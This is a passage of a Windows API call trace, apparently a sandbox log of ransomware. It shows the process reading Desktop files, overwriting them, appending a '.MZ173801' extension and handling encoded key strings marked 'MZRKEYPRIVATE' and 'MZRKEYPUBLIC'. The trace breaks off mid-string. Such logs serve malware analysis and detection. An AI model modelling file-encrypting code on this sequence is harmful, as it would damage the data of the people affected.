lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2932660, ftCreationTime.dwHighDateTime=0x1d5e2b3, ftLastAccessTime.dwLowDateTime=0xb340ef60, ftLastAccessTime.dwHighDateTime=0x1d5ee96, ftLastWriteTime.dwLowDateTime=0xb340ef60, ftLastWriteTime.dwHighDateTime=0x1d5ee96, nFileSizeHigh=0x0, nFileSizeLow=0x38e1)) returned 1 [0176.571] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\RGQur6sY-GXeNf-nX.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\rgqur6sy-gxenf-nx.jpg")) returned 0x20 [0176.571] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\RGQur6sY-GXeNf-nX.jpg", dwFileAttributes=0x80) returned 1 [0176.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.574] GetCurrentThreadId () returned 0xab4 [0176.574] GetCurrentThreadId () returned 0xab4 [0176.574] GetCurrentThreadId () returned 0xab4 [0176.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.575] GetCurrentThreadId () returned 0xab4 [0176.575] GetCurrentThreadId () returned 0xab4 [0176.575] GetCurrentThreadId () returned 0xab4 [0176.575] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\RGQur6sY-GXeNf-nX.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\rgqur6sy-gxenf-nx.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.575] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.576] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.576] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x38e1 [0176.576] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.576] ReadFile (in: hFile=0x320, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x38e1, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19fa18*=0x38e1, lpOverlapped=0x0) returned 1 [0176.577] CloseHandle (hObject=0x320) returned 1 [0176.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\RGQur6sY-GXeNf-nX.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\rgqur6sy-gxenf-nx.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.698] WriteFile (in: hFile=0x328, lpBuffer=0x24abe70*, nNumberOfBytesToWrite=0x38e1, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24abe70*, lpNumberOfBytesWritten=0x19fa24*=0x38e1, lpOverlapped=0x0) returned 1 [0176.700] CloseHandle (hObject=0x328) returned 1 [0176.700] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\RGQur6sY-GXeNf-nX.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\rgqur6sy-gxenf-nx.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\RGQur6sY-GXeNf-nX.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\rgqur6sy-gxenf-nx.jpg.mz173801")) returned 1 [0176.701] GetCurrentThreadId () returned 0xab4 [0176.701] GetCurrentThreadId () returned 0xab4 [0176.701] GetCurrentThreadId () returned 0xab4 [0176.701] GetCurrentThreadId () returned 0xab4 [0176.701] GetCurrentThreadId () returned 0xab4 [0176.701] GetCurrentThreadId () returned 0xab4 [0176.701] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38767120, ftCreationTime.dwHighDateTime=0x1d5e12a, ftLastAccessTime.dwLowDateTime=0xf9ce26b0, ftLastAccessTime.dwHighDateTime=0x1d5f098, ftLastWriteTime.dwLowDateTime=0xf9ce26b0, ftLastWriteTime.dwHighDateTime=0x1d5f098, nFileSizeHigh=0x0, nFileSizeLow=0x4d0d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="u2kZNmc48Eti0Q.swf", cAlternateFileName="U2KZNM~1.SWF")) returned 1 [0176.701] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.701] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.701] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\u2kZNmc48Eti0Q.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\u2kznmc48eti0q.swf"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38767120, ftCreationTime.dwHighDateTime=0x1d5e12a, ftLastAccessTime.dwLowDateTime=0xf9ce26b0, ftLastAccessTime.dwHighDateTime=0x1d5f098, ftLastWriteTime.dwLowDateTime=0xf9ce26b0, ftLastWriteTime.dwHighDateTime=0x1d5f098, nFileSizeHigh=0x0, nFileSizeLow=0x4d0d)) returned 1 [0176.701] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\u2kZNmc48Eti0Q.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\u2kznmc48eti0q.swf")) returned 0x20 [0176.701] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\u2kZNmc48Eti0Q.swf", dwFileAttributes=0x80) returned 1 [0176.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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